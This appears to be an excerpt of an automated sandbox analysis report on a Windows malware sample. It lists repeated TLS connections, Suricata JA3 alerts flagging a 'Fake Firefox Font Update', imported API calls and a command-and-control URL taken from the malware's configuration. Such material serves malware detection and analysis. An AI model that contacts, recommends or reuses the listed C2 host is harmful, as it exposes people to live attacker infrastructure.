Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50152 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50158 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50160 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50162 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50164 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50168 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50170 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50174 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50176 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50184 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50188 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50190 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50196 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50198 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50206 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50208 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50210 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50214 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50216 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50218 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50220 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50222 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50228 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50230 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50232 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50240 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50242 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50244 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50246 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50248 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50252 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50254 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50256 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50258 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50260 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50262 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.237.26.135:443 -> 192.168.2.5:50264 version: TLS 1.2

Source: C:\Users\user\Desktop\8e8JUOzOjR.exe

Code function: 0_2_028358B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_028358B4

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://fodoknotel.za.com/245_Aiymwhpjxsg

Source: C:\Users\user\Desktop\8e8JUOzOjR.exe

Code function: 0_2_0284E72C InternetCheckConnectionA,

0_2_0284E72C

Source: Joe Sandbox View

ASN Name: COGENT-174US COGENT-174US

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49727 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49735 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49737 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49713 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49725 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49739 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49719 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49733 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49721 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49750 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49729 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49743 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49752 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49755 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49715 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49776 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49745 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49791 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49731 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49782 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49723 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49762 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49804 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49741 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49717 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49747 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49798 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49810 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49825 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49817 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49834 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49849 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49855 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49862 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49842 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49769 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49870 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49877 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49891 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49898 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49884 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49907 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49915 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49924 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49931 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49938 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49945 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49952 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49960 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49967 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49976 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49985 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49992 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49999 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50006 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50021 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50013 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50035 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50028 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50042 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50052 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50068 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50075 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50082 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50089 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50096 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50103 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50118 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50120 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50060 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50124 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50130 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50134 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50122 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50136 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50140 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50142 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50126 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50128 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50146 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50110 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50156 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50158 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50154 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50144 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50148 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50152 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50164 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50166 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50170 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50172 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50138 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50162 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50132 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50180 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50178 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50150 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50160 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50192 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50198 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50184 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50186 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50196 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50200 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50194 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50168 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50220 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50176 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50216 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50214 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50230 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50208 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50174 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50204 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50234 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50232 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50244 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50240 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50210 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50222 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50254 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50206 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50258 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50262 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50246 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50182 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50252 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50188 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50226 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50190 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50256 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50224 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50218 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50264 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50250 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50228 -> 23.237.26.135:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50212 -> 23.237.26.135:443
